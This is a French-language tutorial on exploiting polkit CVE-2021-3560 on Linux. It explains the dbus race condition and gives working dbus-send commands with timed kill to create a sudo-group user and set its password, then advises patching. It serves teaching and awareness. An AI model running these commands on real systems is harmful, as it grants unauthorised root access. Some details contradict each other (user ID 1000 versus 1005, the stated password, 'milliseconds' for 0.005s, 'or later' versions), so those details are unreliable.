
Exploitation de la vulnérabilité polkit CVE-2021-3560
En 2021, un chercheur nommé Kevin BackHouse a découvert une vulnérabilité d'élévation de privilèges dans l'utilitaire polkit. Cependant, toutes les versions de Linux ne sont pas vulnérables à polkit.
Voici un exemple de version vulnérable ;
Les versions les plus récentes de Linux ont déjà la correction de cette vulnérabilité, cependant, les versions plus anciennes, comme celles mentionnées ci-dessus, présentent toujours cette vulnérabilité.
Polkit est un service système installé par défaut sur de nombreuses distributions Linux. Il est utilisé par systemd, donc toute distribution Linux qui utilise systemd utilise aussi polkit.
Polkit est le service système qui s'exécute en arrière-plan lorsque vous voyez une boîte de dialogue, par exemple ;
Si à tout moment vous avez besoin de modifier les privilèges ou de faire quelque chose qui nécessite des privilèges plus élevés, comme créer un compte utilisateur, Polkit est chargé d'autoriser ou de refuser cette action.
La CVE-2021-3560 permet à un attaquant local non privilégié d'obtenir les privilèges root. L'exploitation est très simple et rapide, il est donc important de mettre à jour vos installations Linux dès que possible. Tout système sur lequel est installée la version 0.113 (ou ultérieure) de polkit est vulnérable. Cela inclut des distributions populaires telles que RHEL 8 et Ubuntu 20.04.
En envoyant manuellement des messages dbus au dbus-daemon (effectivement une API permettant à différents processus de communiquer entre eux), puis en tuant la requête avant qu'elle ne soit entièrement traitée, nous pouvons tromper polkit pour qu'il autorise la commande.
Le dbus-daemon est un programme qui s'exécute en arrière-plan et qui sert d'intermédiaire pour les messages entre les applications.
En gros, la reproduction de cette vulnérabilité se fera en suivant les étapes ci-dessous ;
L'attaquant envoie manuellement un message dbus à l'accounts-daemon demandant la création d'un nouveau compte avec des permissions sudo (ou plus tard, un mot de passe à définir pour le nouvel utilisateur). Ce message reçoit un identifiant unique attribué par le dbus-daemon.
L'attaquant tue le message après que polkit l'ait reçu, mais avant que polkit ait eu la chance de le traiter. Cela détruit effectivement l'identifiant unique du message.
Polkit demande au dbus-daemon l'identifiant de l'utilisateur qui a envoyé le message, en référençant l'identifiant de message (désormais supprimé).
Le dbus-daemon ne peut pas trouver l'identifiant du message parce que nous l'avons tué à l'étape deux. Il gère l'erreur en répondant avec un code d'erreur.
Polkit gère mal l'erreur et substitue 0 comme identifiant d'utilisateur -- c'est-à-dire le compte root de la machine.
Pensant que l'utilisateur root a demandé l'action, polkit laisse passer la requête sans opposition.
En bref, en détruisant l'identifiant du message avant que le dbus-daemon ait la chance de donner à polkit le bon identifiant, nous exploitons la mauvaise gestion des erreurs de polkit pour tromper l'utilitaire en lui faisant croire que la requête a été faite par l'utilisateur root tout-puissant.
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1
Dans ce cas, lorsque l'on essaie de créer l'utilisateur lucas, nous obtenons un message indiquant que nous n'avons pas la permission (Authentification requise).
Cette commande enverra manuellement un message dbus à l'accounts-daemon, affichera la réponse et créera un nouvel utilisateur nommé lucas(string:lucas), avec une description de « test vulns » (string:"test vulns") et une appartenance au groupe sudo définie sur vrai (référencée par int32:1).
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1
Dans ce cas, nous utilisons la même commande de création d'utilisateur qu'à l'étape 1, mais nous utilisons la fonction « time » pour obtenir le temps d'exécution de cette commande.
Cela prend 0,011 seconde. Ce nombre sera légèrement différent à chaque exécution de la commande.
Essayons cela. Nous devons envoyer le message dbus, puis le tuer environ à mi-chemin :
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1 & sleep 0.005s; kill $!
nous avons envoyé le message dbus dans un travail en arrière-plan (en utilisant l'esperluette pour mettre la commande en arrière-plan). Nous lui avons ensuite demandé de dormir pendant 0,005 milliseconde, puis de tuer le processus précédent ($!). Cela a permis de créer le nouvel utilisateur et de l'ajouter au groupe sudo. Nous devons noter à ce stade que l'identifiant de l'utilisateur du nouvel utilisateur dans cet exemple est 1000.
En utilisant openssl, nous générons un mot de passe de type 6 (SHA512-crypt) avec notre mot de passe en clair.
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$jErqxzPvzrnXP8uC$j8p1DAuEMe0mnM8Pkm3VkVPL5fPWk7c0fFuZkLCi8/hTb5a/ATZjfwHSwEbhQFZR98xWemFWQHEGaTr8KcKaz0' string:'test vulns' & sleep 0.005s; kill $!
Dans ce cas, nous incluons un mot de passe (banana) pour l'identifiant 1005 qui a été créé dans les étapes ci-dessus.
Cette vulnérabilité a été divulguée publiquement et le correctif a été publié le 3 juin 2021, avec l'identifiant CVE-2021-3560.
Vérifiez la mise à jour de votre machine avec yum/apt update/upgrade.